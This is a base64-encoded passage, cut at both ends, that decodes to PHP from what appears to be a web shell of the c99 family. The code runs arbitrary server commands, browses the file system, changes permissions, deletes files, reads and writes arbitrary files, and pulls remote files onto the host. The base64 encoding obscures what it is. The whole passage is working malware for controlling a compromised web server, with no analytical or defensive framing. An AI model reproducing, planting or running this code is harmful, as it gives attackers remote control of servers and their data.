icj4iO30KICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsKICAgIH0KICAgIGNhX3Nlc3NfcHV0KCRzZXNzX2RhdGEpOwogICAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRwc3RlcnI7fQogICAgJHggPSAibHMiOwogIH0KfQppZiAoJHggPT0gImNtZCIpIHsKICBAY2hkaXIoJGNoZGlyKTsKICBpZiAoIWVtcHR5KCRzdWJtaXQpKSB7CiAgICBlY2hvICI8ZGl2IGNsYXNzPWJhcmhlYWRlcj4uOiBSZXN1bHQgb2YgQ29tbWFuZCBFeGVjdXRpb24gOi48L2Rpdj4iOwogICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7CiAgICBAY2hkaXIoJGQpOwogICAgJHJldCA9IG15c2hlbGxleGVjKCRjbWQpOwogICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOwogICAgaWYgKCRjbWRfdHh0KSB7CiAgICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7CiAgICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDsgfQogICAgICBpZiAoJG1zaWUpIHsgJGNvbHMgPSAxMTM7IH0KICAgICAgZWxzZSB7ICRjb2xzID0gMTE3O30KICAgICAgZWNobyAiPGRpdiBhbGlnbj1sZWZ0PjxwcmU+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3ByZT48L2Rpdj4iOwogICAgfQogICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9CiAgICBAY2hkaXIoJG9sZGRpcik7CiAgfQogIGVsc2UgewogICAgZWNobyAiPGI+Q29tbWFuZCBFeGVjdXRpb248L2I+IjsKICAgIGlmIChlbXB0eSgkY21kX3R4dCkpIHskY21kX3R4dCA9IFRSVUU7fQogIH0KfQppZiAoJHggPT0gImxzIikgewogIGlmIChjb3VudCgkbHNfYXJyKSA+IDApIHsgJGxpc3QgPSAkbHNfYXJyOyB9CiAgZWxzZSB7CiAgICAkbGlzdCA9IGFycmF5KCk7CiAgICBpZiAoJGggPSBAb3BlbmRpcigkZCkpIHsKICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHskbGlzdFtdID0gJGQuJG87fQogICAgICBjbG9zZWRpcigkaCk7CiAgICB9CiAgfQogIGlmIChjb3VudCgkbGlzdCkgPT0gMCkgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNhbid0IG9wZW4gZm9sZGVyICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiIpITwvZGl2PiI7fQogIGVsc2UgewogICAgJG9iamVjdHMgPSBhcnJheSgpOwogICAgJHZkID0gImYiOyAKICAgIGlmICgkdmQgPT0gImYiKSB7CiAgICAgICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOwogICAgICAkb2JqZWN0c1siZm9sZGVycyJdID0gYXJyYXkoKTsKICAgICAgJG9iamVjdHNbImxpbmtzIl0gPSBhcnJheSgpOwogICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7CiAgICAgIGZvcmVhY2ggKCRsaXN0IGFzICR2KSB7CiAgICAgICAgJG8gPSBiYXNlbmFtZSgkdik7CiAgICAgICAgJHJvdyA9IGFycmF5KCk7CiAgICAgICAgaWYgKCRvID09ICIuIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiQ1VSRElSIjt9CiAgICAgICAgZWxzZWlmICgkbyA9PSAiLi4iKSB7JHJvd1tdID0gJGQuJG87ICRyb3dbXSA9ICJVUERJUiI7fQogICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgewogICAgICAgICAgaWYgKGlzX2xpbmsoJHYpKSB7JHR5cGUgPSAiTElOSyI7fQogICAgICAgICAgZWxzZSB7JHR5cGUgPSAiRElSIjt9CiAgICAgICAgICAkcm93W10gPSAkdjsKICAgICAgICAgICRyb3dbXSA9ICR0eXBlOwogICAgICAgIH0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHskcm93W10gPSAkdjsgJHJvd1tdID0gZmlsZXNpemUoJHYpO30KICAgICAgICAkcm93W10gPSBmaWxlbXRpbWUoJHYpOwogICAgICAgIGlmICghJHdpbikgewogICAgICAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7CiAgICAgICAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHYpKTsKICAgICAgICAgICRyb3dbXSA9ICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJHYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkdikpOwogICAgICAgIH0KICAgICAgICAkcm93W10gPSBmaWxlcGVybXMoJHYpOwogICAgICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpIHskb2JqZWN0c1siaGVhZCJdW10gPSAkcm93O30KICAgICAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JG9iamVjdHNbImxpbmtzIl1bXSA9ICRyb3c7fQogICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkgeyRvYmplY3RzWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQogICAgICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskb2JqZWN0c1siZmlsZXMiXVtdID0gJHJvdzt9CiAgICAgICAgJGkrKzsKICAgICAgfQogICAgICAkcm93ID0gYXJyYXkoKTsKICAgICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsKICAgICAgJHJvd1tdID0gIjxiPlNpemU8L2I+IjsKICAgICAgJHJvd1tdID0gIjxiPkRhdGUgTW9kaWZpZWQ8L2I+IjsKICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7fQogICAgICAkcm93W10gPSAiPGI+UGVybXM8L2I+IjsKICAgICAgJHJvd1tdID0gIjxiPkFjdGlvbjwvYj4iOwogICAgICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsKICAgICAgJHNvcnQgPSAkcGFyc2Vzb3J0WzBdLiRwYXJzZXNvcnRbMV07CiAgICAgICRrID0gJHBhcnNlc29ydFswXTsKICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9CiAgICAgICR5ID0gIiA8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnNvcnQ9Ii4kay4oJHBhcnNlc29ydFsxXSA9PSAiYSI/ImQiOiJhIikuIlwiPiI7CiAgICAgICR5IC49ICI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1zb3J0XyIuKCRzb3J0WzFdID09ICJhIj8iYXNjIjoiZGVzYyIpLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJBc2MuIjoiRGVzYyIpLiJcIiBib3JkZXI9XCIwXCI+PC9hPiI7CiAgICAgICRyb3dbJGtdIC49ICR5OwogICAgICBmb3IoJGk9MDskaTxjb3VudCgkcm93KS0xOyRpKyspIHsKICAgICAgICBpZiAoJGkgIT0gJGspIHskcm93WyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnNvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj4iLiRyb3dbJGldLiI8L2E+Ijt9CiAgICAgIH0KICAgICAgJHYgPSAkcGFyc2Vzb3J0WzBdOwogICAgICB1c29ydCgkb2JqZWN0c1siZm9sZGVycyJdLCAidGFic29ydCIpOwogICAgICB1c29ydCgkb2JqZWN0c1sibGlua3MiXSwgInRhYnNvcnQiKTsKICAgICAgdXNvcnQoJG9iamVjdHNbImZpbGVzIl0sICJ0YWJzb3J0Iik7CiAgICAgIGlmICgkcGFyc2Vzb3J0WzFdID09ICJkIikgewogICAgICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0pOwogICAgICAgICRvYmplY3RzWyJmaWxlcyJdID0gYXJyYXlfcmV2ZXJzZSgkb2JqZWN0c1siZmlsZXMiXSk7CiAgICAgIH0KICAgICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkb2JqZWN0c1siaGVhZCJdLCRvYmplY3RzWyJmb2xkZXJzIl0sJG9iamVjdHNbImxpbmtzIl0sJG9iamVjdHNbImZpbGVzIl0pOwogICAgICAkdGFiID0gYXJyYXkoKTsKICAgICAgJHRhYlsiY29scyJdID0gYXJyYXkoJHJvdyk7CiAgICAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7CiAgICAgICR0YWJbImZvbGRlcnMiXSA9IGFycmF5KCk7CiAgICAgICR0YWJbImxpbmtzIl0gPSBhcnJheSgpOwogICAgICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsKICAgICAgJGkgPSAwOwogICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkYSkgewogICAgICAgICR2ID0gJGFbMF07CiAgICAgICAgJG8gPSBiYXNlbmFtZSgkdik7CiAgICAgICAgJGRpciA9IGRpcm5hbWUoJHYpOwogICAgICAgIGlmICgkZGlzcF9mdWxscGF0aCkgeyRkaXNwcGF0aCA9ICR2O30KICAgICAgICBlbHNlIHskZGlzcHBhdGggPSAkbzt9CiAgICAgICAgJGRpc3BwYXRoID0gc3RyMm1pbmkoJGRpc3BwYXRoLDYwKTsKICAgICAgICBpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY3V0Il0pKSB7JGRpc3BwYXRoID0gIjxzdHJpa2U+Ii4kZGlzcHBhdGguIjwvc3RyaWtlPiI7fQogICAgICAgIGVsc2VpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY29weSJdKSkgeyRkaXNwcGF0aCA9ICI8dT4iLiRkaXNwcGF0aC4iPC91PiI7fQogICAgICAgIGZvcmVhY2ggKCRyZWd4cF9oaWdobGlnaHQgYXMgJHIpIHsKICAgICAgICAgIGlmIChlcmVnKCRyWzBdLCRvKSkgewogICAgICAgICAgICBpZiAoKCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpIHskclsxXSA9IDA7IG9iX2NsZWFuKCk7IGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3IgaW4gXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIHVua25vd24gY29tbWFuZC4iOyBjYXByaXY4ZXhpdCgpO30KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7CiAgICAgICAgICAgICAgJGlzZGlyID0gaXNfZGlyKCR2KTsKICAgICAgICAgICAgICBpZiAoKCRyWzFdID09IDApIG9yICgoJHJbMV0gPT0gMSkgYW5kICEkaXNkaXIpIG9yICgoJHJbMV0gPT0gMikgYW5kICEkaXNkaXIpKSB7CiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQogICAgICAgICAgICAgICAgJGRpc3BwYXRoID0gJHJbMl0uJGRpc3BwYXRoLiRyWzNdOwogICAgICAgICAgICAgICAgaWYgKCRyWzRdKSB7YnJlYWs7fQogICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdW8gPSB1cmxlbmNvZGUoJG8pOwogICAgICAgICR1ZCA9IHVybGVuY29kZSgkZGlyKTsKICAgICAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOwogICAgICAgICRyb3cgPSBhcnJheSgpOwogICAgICAgIGlmICgkbyA9PSAiLiIpIHsKICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNtYWxsX2RpclwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRvLiI8L2E+IjsKICAgICAgICAgICRyb3dbXSA9ICJDVVJESVIiOwogICAgICAgIH0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHsKICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9sbmtcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kby4iPC9hPiI7CiAgICAgICAgICAkcm93W10gPSAiVVBESVIiOwogICAgICAgIH0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHsKICAgICAgICAgIGlmIChpc19saW5rKCR2KSkgewogICAgICAgICAgICAkZGlzcHBhdGggLj0gIiA9PiAiLnJlYWRsaW5rKCR2KTsKICAgICAgICAgICAgJHR5cGUgPSAiTElOSyI7CiAgICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIuJHV2LiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfbG5rXCIgYm9yZGVyPVwiMFwiPiZuYnNwO1siLiRkaXNwcGF0aC4iXTwvYT4iOwogICAgICAgICAgfQogICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICR0eXBlID0gIkRJUiI7CiAgICAgICAgICAgICRyb3dbXSA9ICAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c21hbGxfZGlyXCIgYm9yZGVyPVwiMFwiPiZuYnNwO1siLiRkaXNwcGF0aC4iXTwvYT4iOwogICAgICAgICAgfQogICAgICAgICAgJHJvd1tdID0gJHR5cGU7CiAgICAgICAgfQogICAgICAgIGVsc2VpZihpc19maWxlKCR2KSkgewogICAgICAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRvKTsKICAgICAgICAgICRjID0gY291bnQoJGV4dCktMTsKICAgICAgICAgICRleHQgPSAkZXh0WyRjXTsKICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwogICAgICAgICAgJHJvd1tdID0gICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZGlzcHBhdGguIjwvYT4iOwogICAgICAgICAgJHJvd1tdID0gdmlld19zaXplKCRhWzFdKTsKICAgICAgICB9CiAgICAgICAgJHJvd1tdID0gZGF0ZSgiZC5tLlkgSDppOnMiLCRhWzJdKTsKICAgICAgICBpZiAoISR3aW4pIHskcm93W10gPSAkYVszXTt9CiAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWNobW9kJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJHYpLiI8L2I+PC9hPiI7CiAgICAgICAgaWYgKCRvID09ICIuIikgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgb25jbGljaz1cImxzX3JldmVyc2VfYWxsKCk7XCI+IjsgJGktLTt9CiAgICAgICAgZWxzZSB7JGNoZWNrYm94ID0gIjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYWN0Ym94W11cIiBpZD1cImFjdGJveCIuJGkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCI+Ijt9CiAgICAgICAgaWYgKGlzX2RpcigkdikpIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZCZkPSIuJHV2LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfZGl6XCIgYWx0PVwiSW5mb1wiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Ii4kY2hlY2tib3g7fQogICAgICAgIGVsc2UgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZmdD1pbmZvJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZmdD1lZGl0JmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkNoYW5nZVwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIuJHVvLiImZnQ9ZG93bmxvYWQmZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZG93bmxvYWRcIiBhbHQ9XCJEb3dubG9hZFwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Ii4kY2hlY2tib3g7fQogICAgICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpIHskdGFiWyJoZWFkIl1bXSA9ICRyb3c7fQogICAgICAgIGVsc2VpZiAoaXNfbGluaygkdikpIHskdGFiWyJsaW5rcyJdW10gPSAkcm93O30KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskdGFiWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQogICAgICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpIHskdGFiWyJmaWxlcyJdW10gPSAkcm93O30KICAgICAgICAkaSsrOwogICAgICB9CiAgICB9CiAgICAkdGFibGUgPSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sJHRhYlsiaGVhZCJdLCR0YWJbImZvbGRlcnMiXSwkdGFiWyJsaW5rcyJdLCR0YWJbImZpbGVzIl0pOwogICAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+WytdICI7CiAgICBpZiAoIWVtcHR5KCRmeF9pbmZvaGVhZCkpIHsgZWNobyAkZnhfaW5mb2hlYWQ7IH0KICAgIGVsc2UgeyBlY2hvICJEaXJlY3RvcnkgTGlzdCAoIi5jb3VudCgkdGFiWyJmaWxlcyJdKS4iIGZpbGVzIGFuZCAiLihjb3VudCgkdGFiWyJmb2xkZXJzIl0pK2NvdW50KCR0YWJbImxpbmtzIl0pKS4iIGZvbGRlcnMpIjsgfQogICAgZWNobyAiIFsrXTwvZGl2PlxuIjsKICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUIG5hbWU9XCJsc19mb3JtXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1cIiIuJGRzcGFjdC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iLiRkLiI+Ii4KICAgICAgICAgIjx0YWJsZSBjbGFzcz1leHBsb3Jlcj4iOwogICAgZm9yZWFjaCgkdGFibGUgYXMgJHJvdykgewogICAgICBlY2hvICI8dHI+IjsKICAgICAgZm9yZWFjaCgkcm93IGFzICR2KSB7ZWNobyAiPHRkPiIuJHYuIjwvdGQ+Ijt9CiAgICAgIGVjaG8gIjwvdHI+XHJcbiI7CiAgICB9CiAgICBlY2hvICI8L3RhYmxlPiIuCiAgICAgICAgICI8c2NyaXB0PiIuCiAgICAgICAgICJmdW5jdGlvbiBsc19zZXRjaGVja2JveGFsbChzdGF0dXMpIHsiLgogICAgICAgICAiIHZhciBpZCA9IDE7IHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7Ii4KICAgICAgICAgIiB3aGlsZSAoaWQgPD0gbnVtKSB7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gc3RhdHVzOyBpZCsrOyB9Ii4KICAgICAgICAgIn0iLgogICAgICAgICAiZnVuY3Rpb24gbHNfcmV2ZXJzZV9hbGwoKSB7Ii4KICAgICAgICAgIiB2YXIgaWQgPSAxOyB2YXIgbnVtID0gIi4oY291bnQoJHRhYmxlKS0yKS4iOyIuCiAgICAgICAgICIgd2hpbGUgKGlkIDw9IG51bSkgeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZCA9ICFkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94JytpZCkuY2hlY2tlZDsgaWQrKzsgfSIuCiAgICAgICAgICJ9Ii4KICAgICAgICAgIjwvc2NyaXB0PiIuCiAgICAgICAgICI8ZGl2IGFsaWduPVwicmlnaHRcIj4iLgogICAgICAgICAiPGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwodHJ1ZSk7XCIgdmFsdWU9XCJTZWxlY3QgYWxsXCI+Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwibHNfc2V0Y2hlY2tib3hhbGwoZmFsc2UpO1wiIHZhbHVlPVwiVW5zZWxlY3QgYWxsXCI+Ii4KICAgICAgICAgIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWFycm93X2x0clwiIGJvcmRlcj1cIjBcIj4iOwogICAgaWYgKGNvdW50KGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSkpID4gMCBhbmQgKCR1c2Vmc2J1ZmYpKSB7CiAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWFjdGFyY2J1ZmYgdmFsdWU9XCJQYWNrIGJ1ZmZlciB0byBhcmNoaXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZfcGF0aFwiIHZhbHVlPVwiZnhfYXJjaGl2ZV8iLnN1YnN0cihtZDUocmFuZCgxLDEwMDApLnJhbmQoMSwxMDAwKSksMCw1KS4iLnRhci5nelwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0cGFzdGVidWZmXCIgdmFsdWU9XCJQYXN0ZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPVwiYWN0ZW1wdHlidWZmXCIgdmFsdWU9XCJFbXB0eSBidWZmZXJcIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOwogICAgfQogICAgZWNobyAiPHNlbGVjdCBuYW1lPXg+PG9wdGlvbiB2YWx1ZT1cIiIuJHguIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsKICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9ZGVsZXRlIi4oJGRzcGFjdCA9PSAiZGVsZXRlIj8iIHNlbGVjdGVkIjoiIikuIj5EZWxldGU8L29wdGlvbj4iOwogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jaG1vZCIuKCRkc3BhY3QgPT0gImNobW9kIj8iIHNlbGVjdGVkIjoiIikuIj5DaGFuZ2UtbW9kZTwvb3B0aW9uPiI7CiAgICBpZiAoJHVzZWZzYnVmZikgewogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPWN1dCIuKCRkc3BhY3QgPT0gImN1dCI/IiBzZWxlY3RlZCI6IiIpLiI+Q3V0PC9vcHRpb24+IjsKICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jb3B5Ii4oJGRzcGFjdCA9PSAiY29weSI/IiBzZWxlY3RlZCI6IiIpLiI+Q29weTwvb3B0aW9uPiI7CiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9dW5zZWxlY3QiLigkZHNwYWN0ID09ICJ1bnNlbGVjdCI/IiBzZWxlY3RlZCI6IiIpLiI+VW5zZWxlY3Q8L29wdGlvbj4iOwogICAgfQogICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiQ29uZmlybVwiPjwvZGl2PiI7CiAgICBlY2hvICI8L2Zvcm0+IjsKICB9Cn0KaWYgKCR4ID09ICJ0b29scyIpIAp7Cgp9CmlmICgkeCA9PSAicGhwZnN5cyIpIHsKICBlY2hvICI8ZGl2IGFsaWduPWxlZnQ+IjsKICAkZnNmdW5jID0gJHBocGZzeXNmdW5jOwogIGlmICgkZnNmdW5jPT0iY29weSIpIHsKICAgIGlmICghY29weSgkYXJnMSwgJGFyZzIpKSB7IGVjaG8gIkZhaWxlZCB0byBjb3B5ICRhcmcxLi4uXG4iO30KICAgIGVsc2UgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgY29waWVkIHRvICRhcmcyXG4iOyB9CiAgfQogIGVsc2VpZiAoJGZzZnVuYz09InJlbmFtZSIpIHsKICAgIGlmICghcmVuYW1lKCRhcmcxLCAkYXJnMikpIHsgZWNobyAiRmFpbGVkIHRvIHJlbmFtZS9tb3ZlICRhcmcxIVxuIjt9CiAgICBlbHNlIHsgZWNobyAiPGI+U3VjY2VzcyE8L2I+ICRhcmcxIHJlbmFtZWQvbW92ZWQgdG8gJGFyZzJcbiI7IH0KICB9CiAgZWxzZWlmICgkZnNmdW5jPT0iY2htb2QiKSB7CiAgICBpZiAoIWNobW9kKCRhcmcxLCRhcmcyKSkgeyBlY2hvICJGYWlsZWQgdG8gY2htb2QgJGFyZzEhXG4iO30KICAgIGVsc2UgeyBlY2hvICI8Yj5QZXJtIGZvciAkYXJnMSBjaGFuZ2VkIHRvICRhcmcyITwvYj5cbiI7IH0KICB9CiAgZWxzZWlmICgkZnNmdW5jPT0icmVhZCIpIHsKICAgICRoYXNpbCA9IEBmaWxlX2dldF9jb250ZW50cygkYXJnMSk7CiAgICBlY2hvICI8Yj5GaWxlbmFtZTo8L2I+ICRhcmcxPGJyPiI7CiAgICBlY2hvICI8dGV4dGFyZWEgY29scz0xNTAgcm93cz0yMD4iOwogICAgZWNobyAkaGFzaWw7CiAgICBlY2hvICI8L3RleHRhcmVhPlxuIjsKICB9CiAgZWxzZWlmICgkZnNmdW5jPT0id3JpdGUiKSB7CiAgICBpZihAZmlsZV9wdXRfY29udGVudHMoJGQuJGFyZzEsJGFyZzIpKSB7CiAgICAgIGVjaG8gIjxiPlNhdmVkITwvYj4gIi4kZC4kYXJnMTsKICAgIH0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IHdyaXRlIHRvICRhcmcxITwvZGl2PiI7IH0KICB9CiAgZWxzZWlmICgkZnNmdW5jPT0iZG93bmxvYWRiaW4iKSB7CiAgICAkaGFuZGxlID0gZm9wZW4oJGFyZzEsICJyYiIpOwogICAgJGNvbnRlbnRzID0gJyc7CiAgICB3aGlsZSAoIWZlb2YoJGhhbmRsZSkpIHsKICAgICAgJGNvbnRlbnRzIC49IGZyZWFkKCRoYW5kbGUsIDgxOTIpOwogICAgfQogICAgJHIgPSBAZm9wZW4oJGQuJGFyZzIsJ3cnKTsKICAgIGlmIChmd3JpdGUoJHIsJGNvbnRlbnRzKSkgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgc2F2ZWQgdG8gIi4kZC4kYXJnMi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kYXJnMikpLiIpIjsgfQogICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gIi4kZC4kYXJnMi4iITwvZGl2PiI7IH0KICAgIGZjbG9zZSgkcik7CiAgICBmY2xvc2UoJGhhbmRsZSk7CiAgfQogIGVsc2VpZiAoJGZzZnVuYz09ImRvd25sb2FkIikgewogICAgJHRleHQgPSBpbXBsb2RlKCcnLCBmaWxlKCRhcmcxKSk7CiAgICBpZiAoJHRleHQpIHsKICAgICAgJHIgPSBAZm9wZW4oJGQuJGFyZzIsJ3cnKTsKICAgICAgaWYgKGZ3cml0ZSgkciwkdGV4dCkpIHsgZWNobyAiPGI+U3VjY2VzcyE8L2I+ICRhcmcxIHNhdmVkIHRvICIuJGQuJGFyZzIuIiAo